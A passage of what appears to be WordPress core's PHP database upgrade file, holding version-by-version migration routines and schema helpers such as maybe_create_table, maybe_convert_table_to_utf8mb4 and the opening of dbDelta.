	if ( $wp_current_db_version < 19798 ) {
		$wpdb->hide_errors();
		$wpdb->query( "ALTER TABLE $wpdb->options DROP COLUMN blog_id" );
		$wpdb->show_errors();
	}

	if ( $wp_current_db_version < 19799 ) {
		$wpdb->hide_errors();
		$wpdb->query( "ALTER TABLE $wpdb->comments DROP INDEX comment_approved" );
		$wpdb->show_errors();
	}

	if ( $wp_current_db_version < 20022 && wp_should_upgrade_global_tables() ) {
		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key = 'themes_last_view'" );
	}

	if ( $wp_current_db_version < 20080 ) {
		if ( 'yes' === $wpdb->get_var( "SELECT autoload FROM $wpdb->options WHERE option_name = 'uninstall_plugins'" ) ) {
			$uninstall_plugins = get_option( 'uninstall_plugins' );
			delete_option( 'uninstall_plugins' );
			add_option( 'uninstall_plugins', $uninstall_plugins, null, 'no' );
		}
	}
}

/**
 * Execute changes made in WordPress 3.5.
 *
 * @ignore
 * @since 3.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_350() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 22006 && $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
		update_option( 'link_manager_enabled', 1 ); // Previously set to 0 by populate_options().
	}

	if ( $wp_current_db_version < 21811 && wp_should_upgrade_global_tables() ) {
		$meta_keys = array();
		foreach ( array_merge( get_post_types(), get_taxonomies() ) as $name ) {
			if ( str_contains( $name, '-' ) ) {
				$meta_keys[] = 'edit_' . str_replace( '-', '_', $name ) . '_per_page';
			}
		}
		if ( $meta_keys ) {
			$meta_keys = implode( "', '", $meta_keys );
			$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('$meta_keys')" );
		}
	}

	if ( $wp_current_db_version < 22422 ) {
		$term = get_term_by( 'slug', 'post-format-standard', 'post_format' );
		if ( $term ) {
			wp_delete_term( $term->term_id, 'post_format' );
		}
	}
}

/**
 * Execute changes made in WordPress 3.7.
 *
 * @ignore
 * @since 3.7.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_370() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 25824 ) {
		wp_clear_scheduled_hook( 'wp_auto_updates_maybe_update' );
	}
}

/**
 * Execute changes made in WordPress 3.7.2.
 *
 * @ignore
 * @since 3.7.2
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_372() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 26148 ) {
		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
	}
}

/**
 * Execute changes made in WordPress 3.8.0.
 *
 * @ignore
 * @since 3.8.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_380() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 26691 ) {
		deactivate_plugins( array( 'mp6/mp6.php' ), true );
	}
}

/**
 * Execute changes made in WordPress 4.0.0.
 *
 * @ignore
 * @since 4.0.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_400() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 29630 ) {
		if ( ! is_multisite() && false === get_option( 'WPLANG' ) ) {
			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && in_array( WPLANG, get_available_languages(), true ) ) {
				update_option( 'WPLANG', WPLANG );
			} else {
				update_option( 'WPLANG', '' );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 4.2.0.
 *
 * @ignore
 * @since 4.2.0
 */
function upgrade_420() {}

/**
 * Executes changes made in WordPress 4.3.0.
 *
 * @ignore
 * @since 4.3.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_430() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 32364 ) {
		upgrade_430_fix_comments();
	}

	// Shared terms are split in a separate process.
	if ( $wp_current_db_version < 32814 ) {
		update_option( 'finished_splitting_shared_terms', 0 );
		wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
	}

	if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
		if ( is_multisite() ) {
			$tables = $wpdb->tables( 'blog' );
		} else {
			$tables = $wpdb->tables( 'all' );
			if ( ! wp_should_upgrade_global_tables() ) {
				$global_tables = $wpdb->tables( 'global' );
				$tables        = array_diff_assoc( $tables, $global_tables );
			}
		}

		foreach ( $tables as $table ) {
			maybe_convert_table_to_utf8mb4( $table );
		}
	}
}

/**
 * Executes comments changes made in WordPress 4.3.0.
 *
 * @ignore
 * @since 4.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_430_fix_comments() {
	global $wpdb;

	$content_length = $wpdb->get_col_length( $wpdb->comments, 'comment_content' );

	if ( is_wp_error( $content_length ) ) {
		return;
	}

	if ( false === $content_length ) {
		$content_length = array(
			'type'   => 'byte',
			'length' => 65535,
		);
	} elseif ( ! is_array( $content_length ) ) {
		$length         = (int) $content_length > 0 ? (int) $content_length : 65535;
		$content_length = array(
			'type'   => 'byte',
			'length' => $length,
		);
	}

	if ( 'byte' !== $content_length['type'] || 0 === $content_length['length'] ) {
		// Sites with malformed DB schemas are on their own.
		return;
	}

	$allowed_length = (int) $content_length['length'] - 10;

	$comments = $wpdb->get_results(
		"SELECT `comment_ID` FROM `{$wpdb->comments}`
			WHERE `comment_date_gmt` > '2015-04-26'
			AND LENGTH( `comment_content` ) >= {$allowed_length}
			AND ( `comment_content` LIKE '%<%' OR `comment_content` LIKE '%>%' )"
	);

	foreach ( $comments as $comment ) {
		wp_delete_comment( $comment->comment_ID, true );
	}
}

/**
 * Executes changes made in WordPress 4.3.1.
 *
 * @ignore
 * @since 4.3.1
 */
function upgrade_431() {
	// Fix incorrect cron entries for term splitting.
	$cron_array = _get_cron_array();
	if ( isset( $cron_array['wp_batch_split_terms'] ) ) {
		unset( $cron_array['wp_batch_split_terms'] );
		_set_cron_array( $cron_array );
	}
}

/**
 * Executes changes made in WordPress 4.4.0.
 *
 * @ignore
 * @since 4.4.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_440() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 34030 ) {
		$wpdb->query( "ALTER TABLE {$wpdb->options} MODIFY option_name VARCHAR(191)" );
	}

	// Remove the unused 'add_users' role.
	$roles = wp_roles();
	foreach ( $roles->role_objects as $role ) {
		if ( $role->has_cap( 'add_users' ) ) {
			$role->remove_cap( 'add_users' );
		}
	}
}

/**
 * Executes changes made in WordPress 4.5.0.
 *
 * @ignore
 * @since 4.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_450() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 36180 ) {
		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
	}

	// Remove unused email confirmation options, moved to usermeta.
	if ( $wp_current_db_version < 36679 && is_multisite() ) {
		$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^[0-9]+_new_email$'" );
	}

	// Remove unused user setting for wpLink.
	delete_user_setting( 'wplink' );
}

/**
 * Executes changes made in WordPress 4.6.0.
 *
 * @ignore
 * @since 4.6.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_460() {
	global $wp_current_db_version;

	// Remove unused post meta.
	if ( $wp_current_db_version < 37854 ) {
		delete_post_meta_by_key( '_post_restored_from' );
	}

	// Remove plugins with callback as an array object/method as the uninstall hook, see #13786.
	if ( $wp_current_db_version < 37965 ) {
		$uninstall_plugins = get_option( 'uninstall_plugins', array() );

		if ( ! empty( $uninstall_plugins ) ) {
			foreach ( $uninstall_plugins as $basename => $callback ) {
				if ( is_array( $callback ) && is_object( $callback[0] ) ) {
					unset( $uninstall_plugins[ $basename ] );
				}
			}

			update_option( 'uninstall_plugins', $uninstall_plugins );
		}
	}
}

/**
 * Executes changes made in WordPress 5.0.0.
 *
 * @ignore
 * @since 5.0.0
 * @deprecated 5.1.0
 */
function upgrade_500() {
}

/**
 * Executes changes made in WordPress 5.1.0.
 *
 * @ignore
 * @since 5.1.0
 */
function upgrade_510() {
	delete_site_option( 'upgrade_500_was_gutenberg_active' );
}

/**
 * Executes changes made in WordPress 5.3.0.
 *
 * @ignore
 * @since 5.3.0
 */
function upgrade_530() {
	/*
	 * The `admin_email_lifespan` option may have been set by an admin that just logged in,
	 * saw the verification screen, clicked on a button there, and is now upgrading the db,
	 * or by populate_options() that is called earlier in upgrade_all().
	 * In the second case `admin_email_lifespan` should be reset so the verification screen
	 * is shown next time an admin logs in.
	 */
	if ( function_exists( 'current_user_can' ) && ! current_user_can( 'manage_options' ) ) {
		update_option( 'admin_email_lifespan', 0 );
	}
}

/**
 * Executes changes made in WordPress 5.5.0.
 *
 * @ignore
 * @since 5.5.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_550() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 48121 ) {
		$comment_previously_approved = get_option( 'comment_whitelist', '' );
		update_option( 'comment_previously_approved', $comment_previously_approved );
		delete_option( 'comment_whitelist' );
	}

	if ( $wp_current_db_version < 48575 ) {
		// Use more clear and inclusive language.
		$disallowed_list = get_option( 'blacklist_keys' );

		/*
		 * This option key was briefly renamed `blocklist_keys`.
		 * Account for sites that have this key present when the original key does not exist.
		 */
		if ( false === $disallowed_list ) {
			$disallowed_list = get_option( 'blocklist_keys' );
		}

		update_option( 'disallowed_keys', $disallowed_list );
		delete_option( 'blacklist_keys' );
		delete_option( 'blocklist_keys' );
	}

	if ( $wp_current_db_version < 48748 ) {
		update_option( 'finished_updating_comment_type', 0 );
		wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );
	}
}

/**
 * Executes changes made in WordPress 5.6.0.
 *
 * @ignore
 * @since 5.6.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_560() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 49572 ) {
		/*
		 * Clean up the `post_category` column removed from schema in version 2.8.0.
		 * Its presence may conflict with `WP_Post::__get()`.
		 */
		$post_category_exists = $wpdb->get_var( "SHOW COLUMNS FROM $wpdb->posts LIKE 'post_category'" );
		if ( ! is_null( $post_category_exists ) ) {
			$wpdb->query( "ALTER TABLE $wpdb->posts DROP COLUMN `post_category`" );
		}

		/*
		 * When upgrading from WP < 5.6.0 set the core major auto-updates option to `unset` by default.
		 * This overrides the same option from populate_options() that is intended for new installs.
		 * See https://core.trac.wordpress.org/ticket/51742.
		 */
		update_option( 'auto_update_core_major', 'unset' );
	}

	if ( $wp_current_db_version < 49632 ) {
		/*
		 * Regenerate the .htaccess file to add the `HTTP_AUTHORIZATION` rewrite rule.
		 * See https://core.trac.wordpress.org/ticket/51723.
		 */
		save_mod_rewrite_rules();
	}

	if ( $wp_current_db_version < 49735 ) {
		delete_transient( 'dirsize_cache' );
	}

	if ( $wp_current_db_version < 49752 ) {
		$results = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT 1 FROM {$wpdb->usermeta} WHERE meta_key = %s LIMIT 1",
				WP_Application_Passwords::USERMETA_KEY_APPLICATION_PASSWORDS
			)
		);

		if ( ! empty( $results ) ) {
			$network_id = get_main_network_id();
			update_network_option( $network_id, WP_Application_Passwords::OPTION_KEY_IN_USE, 1 );
		}
	}
}

/**
 * Executes changes made in WordPress 5.9.0.
 *
 * @ignore
 * @since 5.9.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_590() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 51917 ) {
		$crons = _get_cron_array();

		if ( $crons && is_array( $crons ) ) {
			// Remove errant `false` values, see #53950, #54906.
			$crons = array_filter( $crons );
			_set_cron_array( $crons );
		}
	}
}

/**
 * Executes changes made in WordPress 6.0.0.
 *
 * @ignore
 * @since 6.0.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_600() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 53011 ) {
		wp_update_user_counts();
	}
}

/**
 * Executes changes made in WordPress 6.3.0.
 *
 * @ignore
 * @since 6.3.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_630() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 55853 ) {
		if ( ! is_multisite() ) {
			// Replace non-autoload option can_compress_scripts with autoload option, see #55270
			$can_compress_scripts = get_option( 'can_compress_scripts', false );
			if ( false !== $can_compress_scripts ) {
				delete_option( 'can_compress_scripts' );
				add_option( 'can_compress_scripts', $can_compress_scripts, '', 'yes' );
			}
		}
	}
}

/**
 * Executes changes made in WordPress 6.4.0.
 *
 * @ignore
 * @since 6.4.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_640() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 56657 ) {
		// Enable attachment pages.
		update_option( 'wp_attachment_pages_enabled', 1 );

		// Remove the wp_https_detection cron. Https status is checked directly in an async Site Health check.
		$scheduled = wp_get_scheduled_event( 'wp_https_detection' );
		if ( $scheduled ) {
			wp_clear_scheduled_hook( 'wp_https_detection' );
		}
	}
}

/**
 * Executes changes made in WordPress 6.5.0.
 *
 * @ignore
 * @since 6.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_650() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 57155 ) {
		$stylesheet = get_stylesheet();

		// Set autoload=no for all themes except the current one.
		$theme_mods_options = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT option_name FROM $wpdb->options WHERE autoload = 'yes' AND option_name != %s AND option_name LIKE %s",
				"theme_mods_$stylesheet",
				$wpdb->esc_like( 'theme_mods_' ) . '%'
			)
		);

		$autoload = array_fill_keys( $theme_mods_options, 'no' );
		wp_set_option_autoload_values( $autoload );
	}
}

/**
 * Executes network-level upgrade routines.
 *
 * @since 3.0.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_network() {
	global $wp_current_db_version, $wpdb;

	// Always clear expired transients.
	delete_expired_transients( true );

	// 2.8.0
	if ( $wp_current_db_version < 11549 ) {
		$wpmu_sitewide_plugins   = get_site_option( 'wpmu_sitewide_plugins' );
		$active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' );
		if ( $wpmu_sitewide_plugins ) {
			if ( ! $active_sitewide_plugins ) {
				$sitewide_plugins = (array) $wpmu_sitewide_plugins;
			} else {
				$sitewide_plugins = array_merge( (array) $active_sitewide_plugins, (array) $wpmu_sitewide_plugins );
			}

			update_site_option( 'active_sitewide_plugins', $sitewide_plugins );
		}
		delete_site_option( 'wpmu_sitewide_plugins' );
		delete_site_option( 'deactivated_sitewide_plugins' );

		$start = 0;
		while ( $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM {$wpdb->sitemeta} ORDER BY meta_id LIMIT $start, 20" ) ) {
			foreach ( $rows as $row ) {
				$value = $row->meta_value;
				if ( ! @unserialize( $value ) ) {
					$value = stripslashes( $value );
				}
				if ( $value !== $row->meta_value ) {
					update_site_option( $row->meta_key, $value );
				}
			}
			$start += 20;
		}
	}

	// 3.0.0
	if ( $wp_current_db_version < 13576 ) {
		update_site_option( 'global_terms_enabled', '1' );
	}

	// 3.3.0
	if ( $wp_current_db_version < 19390 ) {
		update_site_option( 'initial_db_version', $wp_current_db_version );
	}

	if ( $wp_current_db_version < 19470 ) {
		if ( false === get_site_option( 'active_sitewide_plugins' ) ) {
			update_site_option( 'active_sitewide_plugins', array() );
		}
	}

	// 3.4.0
	if ( $wp_current_db_version < 20148 ) {
		// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
		$allowedthemes  = get_site_option( 'allowedthemes' );
		$allowed_themes = get_site_option( 'allowed_themes' );
		if ( false === $allowedthemes && is_array( $allowed_themes ) && $allowed_themes ) {
			$converted = array();
			$themes    = wp_get_themes();
			foreach ( $themes as $stylesheet => $theme_data ) {
				if ( isset( $allowed_themes[ $theme_data->get( 'Name' ) ] ) ) {
					$converted[ $stylesheet ] = true;
				}
			}
			update_site_option( 'allowedthemes', $converted );
			delete_site_option( 'allowed_themes' );
		}
	}

	// 3.5.0
	if ( $wp_current_db_version < 21823 ) {
		update_site_option( 'ms_files_rewriting', '1' );
	}

	// 3.5.2
	if ( $wp_current_db_version < 24448 ) {
		$illegal_names = get_site_option( 'illegal_names' );
		if ( is_array( $illegal_names ) && count( $illegal_names ) === 1 ) {
			$illegal_name  = reset( $illegal_names );
			$illegal_names = explode( ' ', $illegal_name );
			update_site_option( 'illegal_names', $illegal_names );
		}
	}

	// 4.2.0
	if ( $wp_current_db_version < 31351 && 'utf8mb4' === $wpdb->charset ) {
		if ( wp_should_upgrade_global_tables() ) {
			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			$wpdb->query( "ALTER TABLE $wpdb->site DROP INDEX domain, ADD INDEX domain(domain(140),path(51))" );
			$wpdb->query( "ALTER TABLE $wpdb->sitemeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );

			$tables = $wpdb->tables( 'global' );

			// sitecategories may not exist.
			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
				unset( $tables['sitecategories'] );
			}

			foreach ( $tables as $table ) {
				maybe_convert_table_to_utf8mb4( $table );
			}
		}
	}

	// 4.3.0
	if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
		if ( wp_should_upgrade_global_tables() ) {
			$upgrade = false;
			$indexes = $wpdb->get_results( "SHOW INDEXES FROM $wpdb->signups" );
			foreach ( $indexes as $index ) {
				if ( 'domain_path' === $index->Key_name && 'domain' === $index->Column_name && 140 != $index->Sub_part ) {
					$upgrade = true;
					break;
				}
			}

			if ( $upgrade ) {
				$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );
			}

			$tables = $wpdb->tables( 'global' );

			// sitecategories may not exist.
			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
				unset( $tables['sitecategories'] );
			}

			foreach ( $tables as $table ) {
				maybe_convert_table_to_utf8mb4( $table );
			}
		}
	}

	// 5.1.0
	if ( $wp_current_db_version < 44467 ) {
		$network_id = get_main_network_id();
		delete_network_option( $network_id, 'site_meta_supported' );
		is_site_meta_supported();
	}
}

//
// General functions we use to actually do stuff.
//

/**
 * Creates a table in the database, if it doesn't already exist.
 *
 * This method checks for an existing database table and creates a new one if it's not
 * already present. It doesn't rely on MySQL's "IF NOT EXISTS" statement, but chooses
 * to query all tables first and then run the SQL statement creating the table.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name Database table name.
 * @param string $create_ddl SQL statement to create table.
 * @return bool True on success or if the table already exists. False on failure.
 */
function maybe_create_table( $table_name, $create_ddl ) {
	global $wpdb;

	$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );

	if ( $wpdb->get_var( $query ) === $table_name ) {
		return true;
	}

	// Didn't find it, so try to create it.
	$wpdb->query( $create_ddl );

	// We cannot directly tell that whether this succeeded!
	if ( $wpdb->get_var( $query ) === $table_name ) {
		return true;
	}

	return false;
}

/**
 * Drops a specified index from a table.
 *
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table Database table name.
 * @param string $index Index name to drop.
 * @return true True, when finished.
 */
function drop_index( $table, $index ) {
	global $wpdb;

	$wpdb->hide_errors();

	$wpdb->query( "ALTER TABLE `$table` DROP INDEX `$index`" );

	// Now we need to take out all the extra ones we may have created.
	for ( $i = 0; $i < 25; $i++ ) {
		$wpdb->query( "ALTER TABLE `$table` DROP INDEX `{$index}_$i`" );
	}

	$wpdb->show_errors();

	return true;
}

/**
 * Adds an index to a specified table.
 *
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table Database table name.
 * @param string $index Database table index column.
 * @return true True, when done with execution.
 */
function add_clean_index( $table, $index ) {
	global $wpdb;

	drop_index( $table, $index );
	$wpdb->query( "ALTER TABLE `$table` ADD INDEX ( `$index` )" );

	return true;
}

/**
 * Adds column to a database table, if it doesn't already exist.
 *
 * @since 1.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name  Database table name.
 * @param string $column_name Table column name.
 * @param string $create_ddl  SQL statement to add column.
 * @return bool True on success or if the column already exists. False on failure.
 */
function maybe_add_column( $table_name, $column_name, $create_ddl ) {
	global $wpdb;

	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {
			return true;
		}
	}

	// Didn't find it, so try to create it.
	$wpdb->query( $create_ddl );

	// We cannot directly tell that whether this succeeded!
	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {
			return true;
		}
	}

	return false;
}

/**
 * If a table only contains utf8 or utf8mb4 columns, convert it to utf8mb4.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table The table to convert.
 * @return bool True if the table was converted, false if it wasn't.
 */
function maybe_convert_table_to_utf8mb4( $table ) {
	global $wpdb;

	$results = $wpdb->get_results( "SHOW FULL COLUMNS FROM `$table`" );
	if ( ! $results ) {
		return false;
	}

	foreach ( $results as $column ) {
		if ( $column->Collation ) {
			list( $charset ) = explode( '_', $column->Collation );
			$charset         = strtolower( $charset );
			if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
				// Don't upgrade tables that have non-utf8 columns.
				return false;
			}
		}
	}

	$table_details = $wpdb->get_row( "SHOW TABLE STATUS LIKE '$table'" );
	if ( ! $table_details ) {
		return false;
	}

	list( $table_charset ) = explode( '_', $table_details->Collation );
	$table_charset         = strtolower( $table_charset );
	if ( 'utf8mb4' === $table_charset ) {
		return true;
	}

	return $wpdb->query( "ALTER TABLE $table CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci" );
}

/**
 * Retrieve all options as it was for 1.2.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return stdClass List of options.
 */
function get_alloptions_110() {
	global $wpdb;
	$all_options = new stdClass();
	$options     = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
	if ( $options ) {
		foreach ( $options as $option ) {
			if ( 'siteurl' === $option->option_name || 'home' === $option->option_name || 'category_base' === $option->option_name ) {
				$option->option_value = untrailingslashit( $option->option_value );
			}
			$all_options->{$option->option_name} = stripslashes( $option->option_value );
		}
	}
	return $all_options;
}

/**
 * Utility version of get_option that is private to installation/upgrade.
 *
 * @ignore
 * @since 1.5.1
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $setting Option name.
 * @return mixed
 */
function __get_option( $setting ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	global $wpdb;

	if ( 'home' === $setting && defined( 'WP_HOME' ) ) {
		return untrailingslashit( WP_HOME );
	}

	if ( 'siteurl' === $setting && defined( 'WP_SITEURL' ) ) {
		return untrailingslashit( WP_SITEURL );
	}

	$option = $wpdb->get_var( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting ) );

	if ( 'home' === $setting && ! $option ) {
		return __get_option( 'siteurl' );
	}

	if ( in_array( $setting, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) {
		$option = untrailingslashit( $option );
	}

	return maybe_unserialize( $option );
}

/**
 * Filters for content to remove unnecessary slashes.
 *
 * @since 1.5.0
 *
 * @param string $content The content to modify.
 * @return string The de-slashed content.
 */
function deslash( $content ) {
	// Note: \\\ inside a regex denotes a single backslash.

	/*
	 * Replace one or more backslashes followed by a single quote with
	 * a single quote.
	 */
	$content = preg_replace( "/\\\+'/", "'", $content );

	/*
	 * Replace one or more backslashes followed by a double quote with
	 * a double quote.
	 */
	$content = preg_replace( '/\\\+"/', '"', $content );

	// Replace one or more backslashes with one backslash.
	$content = preg_replace( '/\\\+/', '\\', $content );

	return $content;
}

/**
 * Modifies the database based on specified SQL statements.
 *
 * Useful for creating new tables and updating existing tables to a new structure.
 *
 * @since 1.5.0
 * @since 6.1.0 Ignores display width for integer data types on MySQL 8.0.17 or later,
 *              to match MySQL behavior. Note: This does not affect MariaDB.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string[]|string $queries Optional. The query to run. Can be multiple queries
 *                                 in an array, or a string of queries separated by
 *                                 semicolons. Default empty string.
 * @param bool            $execute Optional. Whether or not to execute the query right away.
 *                                 Default true.
 * @return array Strings containing the results of the various update queries.
 */
function dbDelta( $queries = '', $execute = true ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $wpdb;

	if ( in_array( $queries, array( '', 'all', 'blog', 'global', 'ms_global' ), true ) ) {
		$queries = wp_get_db_schema( $queries );
	}

	// Separate individual queries into an array.
	if ( ! is_array( $queries ) ) {
		$queries = explode( ';', $queries );
		$queries = array_filter( $queries );
	}

	/**
	 * Filters the dbDelta SQL queries.
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $queries An array of dbDelta SQL queries.
	 */
	$queries = apply_filters( 'dbdelta_queries', $queries );

	$cqueries   = array(); // Creation queries.
	$iqueries   = array(); // Insertion queries.
	$for_update = array();

	// Create a tablename index for an array ($cqueries) of recognized query types.
	foreach ( $queries as $qry ) {
		if ( preg_match( '|CREATE TABLE ([^ ]*)|', $qry, $matches ) ) {
			$cqueries[ trim( $matches[1], '`' ) ] = $qry;
			$for_update[ $matches[1] ]            = 'Created table ' . $matches[1];
			continue;
		}

		if ( preg_match( '|CREATE DATABASE ([^ ]*)|', $qry, $matches ) ) {
			array_unshift( $cqueries, $qry );
			continue;
		}

		if ( preg_match( '|INSERT INTO ([^ ]*)|', $qry, $matches ) ) {
			$iqueries[] = $qry;
			continue;
		}

		if ( preg_match( '|UPDATE ([^ ]*)|', $qry, $matches ) ) {
			$iqueries[] = $qry;
			continue;
		}
	}

	/**
	 * Filters the dbDelta SQL queries for creating tables and/or databases.
	 *
	 * Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE".
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $cqueries An array of dbDelta create SQL queries.
	 */
	$cqueries = apply_filters( 'dbdelta_create_queries', $cqueries );

	/**
	 * Filters the dbDelta SQL queries for inserting or updating.
	 *
	 * Queries filterable via this hook contain "INSERT INTO" or "UPDATE".
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $iqueries An array of dbDelta insert or update SQL queries.
	 */
	$iqueries = apply_filters( 'dbdelta_insert_queries', $iqueries );

	$text_fields = array( 'tinytext', 'text', 'mediumtext', 'longtext' );
	$blob_fields = array( 'tinyblob', 'blob', 'mediumblob', 'longblob' );
	$int_fields  = array( 'tinyint', 'smallint', 'mediumint', 'int', 'integer', 'bigint' );

	$global_tables  = $wpdb->tables( 'global' );
	$db_version     = $wpdb->db_version();
	$db_server_info = $wpdb->db_server_info();

	foreach ( $cqueries as $table => $qry ) {
		// Upgrade global tables only for the main site. Don't upgrade at all if conditions are not optimal.
		if ( in_array( $table, $global_tables, true ) && ! wp_should_upgrade_global_tables() ) {
			unset( $cqueries[ $table ], $for_update[ $table ] );
			continue;
		}

		// Fetch the table column structure from the database.
		$suppress    = $wpdb->suppress_errors();
		$tablefields = $wpdb->get_results( "DESCRIBE {$table};" );
		$wpdb->suppress_errors( $suppress );

		if ( ! $tablefields ) {
			continue;
		}

		// Clear the field and index arrays.
		$cfields                  = array();
		$indices                  = array();
		$indices_without_subparts = array();

		// Get all of the field names in the query from between the parentheses.
		preg_match( '|\((.*)\)|ms', $qry, $match2 );
		$qryline = trim( $match2[1] );

		// Separate field lines into an array.
		$flds = explode( "\n", $qryline );

		// For every field line specified in the query.
		foreach ( $flds as $fld ) {
			$fld = trim( $fld, " \t\n\r\0\x0B," ); // Default trim characters, plus ','.

			// Extract the field name.
			preg_match( '|^([^ ]*)|', $fld, $fvals );
			$fieldname            = trim( $fvals[1], '`' );
			$fieldname_lowercased = strtolower( $fieldname );

			// Verify the found field name.
			$validfield = true;
			switch ( $fieldname_lowercased ) {
				case '':
				case 'primary':
				case 'index':
				case 'fulltext':
				case 'unique':
				case 'key':
				case 'spatial':
					$validfield = false;

					/*
					 * Normalize the index definition.
					 *
					 * This is done so the definition can be compared against the result of a
					 * `SHOW INDEX FROM $table_name` query which returns the current table
					 * index information.
					 */

					// Extract type, name and columns from the definition.
					preg_match(
						'/^
							(?P<index_type>             # 1) Type of the index.
								PRIMARY\s+KEY|(?:UNIQUE|FULLTEXT|SPATIAL)\s+(?:KEY|INDEX)|KEY|INDEX
							)
							\s+                         # Followed by at least one white space character.
							(?:                         # Name of the index. Optional if type is PRIMARY KEY.
								`?                      # Name can be escaped with a backtick.
									(?P<index_name>     # 2) Name of the index.
